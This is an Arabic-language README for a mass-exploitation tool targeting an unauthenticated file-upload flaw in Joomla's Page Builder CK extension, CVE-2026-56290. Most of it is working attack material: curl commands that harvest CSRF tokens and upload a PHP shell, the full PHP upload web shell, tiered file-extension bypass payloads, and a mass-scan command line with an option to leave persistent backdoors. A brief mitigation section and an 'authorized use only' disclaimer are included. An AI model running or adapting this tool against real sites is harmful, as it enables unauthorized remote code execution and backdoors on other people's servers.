
📤 إطار عمل استغلال جماعي لثغرة CVE-2026-56290 — رفع ملفات بدون مصادقة في Page Builder CK لـ Joomla يؤدي إلى تنفيذ كود عن بُعد (RCE)
CVE-2026-56290 هي ثغرة ذات خطورة حرجة في Page Builder CK (com_pagebuilderck)، وهي إضافة شائعة لبناء الصفحات في Joomla. تقبل طريقة browse.ajaxAddPicture في وحدة التحكم رفع ملفات بدون مصادقة مع مسار وجهة يتحكم فيه المستخدم، مما يسمح للمهاجمين بكتابة ملفات PHP عشوائية في أدلة يمكن الوصول إليها عبر الويب.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
تخضع معلمة path لتنظيف trim() فقط — لا قائمة بيضاء، ولا فحص لاجتياز المسار، ولا بوابة مصادقة. وبالاقتران مع رمز CSRF متاح للجمهور من أي صفحة Joomla، يمكن للمهاجمين رفع قذائف PHP عن بُعد إلى أي دليل قابل للكتابة.
| المتجه | الخطورة | الأثر |
|---|---|---|
| رفع ملفات بدون مصادقة | 9.8 (حرجة) | تنفيذ كود PHP عشوائي |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
ملاحظة: يتم اكتشاف الإصدار من ملف manifest الخاص بـ Joomla على المسار
/administrator/manifests/files/com_pagebuilderck.xml. إذا تعذّر الوصول إلى ملف manifest، يتعامل الماسح الضوئي مع الهدف افتراضيًا باعتباره قابلًا للاختراق.
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
الخطوة 1 — جمع رمز CSRF
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
الخطوة 2 — رفع قشرة PHP
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
الخطوة 3 — التحقق من RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
ينشر الماسح الضوئي قشرة رفع مكتفية ذاتيًا — دون الحاجة إلى exec() أو system() أو eval():
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
قدرات القشرة:
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
يستخدم الماسح الضوئي نهج تخمين قسري متدرج بميزانية زمنية لكل هدف (15 ثانية):
كل تركيبة: رفع ملف اختبار .txt ← التحقق عبر GET ← المطابقة عند النجاح. ويعيد النتيجة فورًا عند التأكيد.
تحجب الدالة CKFile::makeSafe() امتداد .php في بعض الإعدادات. استراتيجية التجاوز:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
رمز CSRF في Joomla مضمّن في كل صفحة — الرئيسية، تسجيل الدخول، التسجيل، نماذج الاتصال، لوحة الإدارة:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
النمط A — حقل HTML مخفي: <input type="hidden" name="<hex32>" value="1">
النمط B — إعداد JSON: "csrf.token":"<hex32>"
المرحلة 1 — بصمات HTML (سريعة وحاسمة)
<jdoc:include> و joomla-script-options و "csrf.token"/components/com_ و /modules/mod_ و /plugins/system/المرحلة 2 — فحص لوحة الإدارة (بديل احتياطي)
/administrator/name="username" و mod-login- و administrator/templates/المستوى 1 — مؤشرات HTML قوية
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
المستوى 2 — مؤشرات HTML ضعيفة مع التأكيد
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
المستوى 3 — فحوصات ملفات مباشرة (يكتشف التثبيتات التي لا تظهر فيها PBCK على الصفحة الرئيسية)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 لأغراض تعليمية & اختبارات مصرّح بها فقط
تُوفَّر هذه الأداة لأغراض تعليمية فقط وللبحث الأمني المشروع. صُممت لتُستخدم من قبل:
- 🛡️ متخصصي الأمن الذين يجرون اختبارات اختراق مصرّحًا بها
- 🏢 المؤسسات التي تدقق بنيتها التحتية الخاصة بـ Joomla
- 🔬 الباحثين الذين يدرسون تقنيات استغلال الثغرات
- 🎓 الطلاب الذين يتعلمون أمن تطبيقات الويب
❌ لا يجوز لك استخدام هذه الأداة من أجل:
- الوصول إلى أنظمة الحاسوب دون إذن كتابي صريح
- اختراق أو إتلاف أو تعطيل أنظمة لا تملكها
- الانخراط في أي نشاط غير قانوني
⚖️ إشعار قانوني
الوصول غير المصرح به إلى أنظمة الحاسوب يخالف قوانين تشمل على سبيل المثال لا الحصر:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. § 1030)
- إندونيسيا: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب 1990
لا يتحمل المؤلف (المؤلفون) أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تقر بأنك المسؤول الوحيد عن أفعالك وتوافق على الامتثال لجميع القوانين المعمول بها.
⚡ صُنع بدقة لمجتمع أبحاث الأمن ⚡
Joomla® هي علامة تجارية مسجلة لشركة Open Source Matters, Inc.
هذا المشروع غير تابع لـ Joomla أو Open Source Matters أو Page Builder CK وليس معتمدًا من قبلها.
| جمع رموز CSRF | 5.3 (متوسطة) | تمكين سلسلة الرفع |
| كشف المعلومات | 5.3 (متوسطة) | تحديد بصمة إصدار الإضافة |
| إصدار Page Builder CK | الحالة | ملاحظات |
|---|
| 3.1.1 وما دون | 🔴 قابل للاختراق | رفع بدون مصادقة مؤكد |
| 3.4.10 وما دون | 🔴 قابل للاختراق | نطاق موسّع وفقًا للتحليل |
| 3.5.10 وما دون | 🔴 قابل للاختراق | قد توجد نسخ مصحّحة |
| > 3.5.10 | 🟢 ربما مصحّح | تحقق عبر ملف manifest XML |
🔍 الاستطلاع
|
💀 الاستغلال
|
| المستوى | المهام | وسائط الملف | وسائط المجلد | مسارات الوجهة | إجمالي التركيبات |
|---|
| المستوى 1 (مؤكد) | browse.ajaxAddPicture + 3 أخرى | file, Filedata | path, folder, dir | أفضل 4 أدلة PBCK | 96 |
| المستوى 2 (شبكة كاملة) | 12 مهمة | 4 وسائط | 5 وسائط | أكثر من 20 مسارًا | 4,800+ |
| المورد | الرابط |
|---|
| إدخال NVD | CVE-2026-56290 |
| أمان Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| رفع الملفات في OWASP | رفع الملفات غير المقيّد |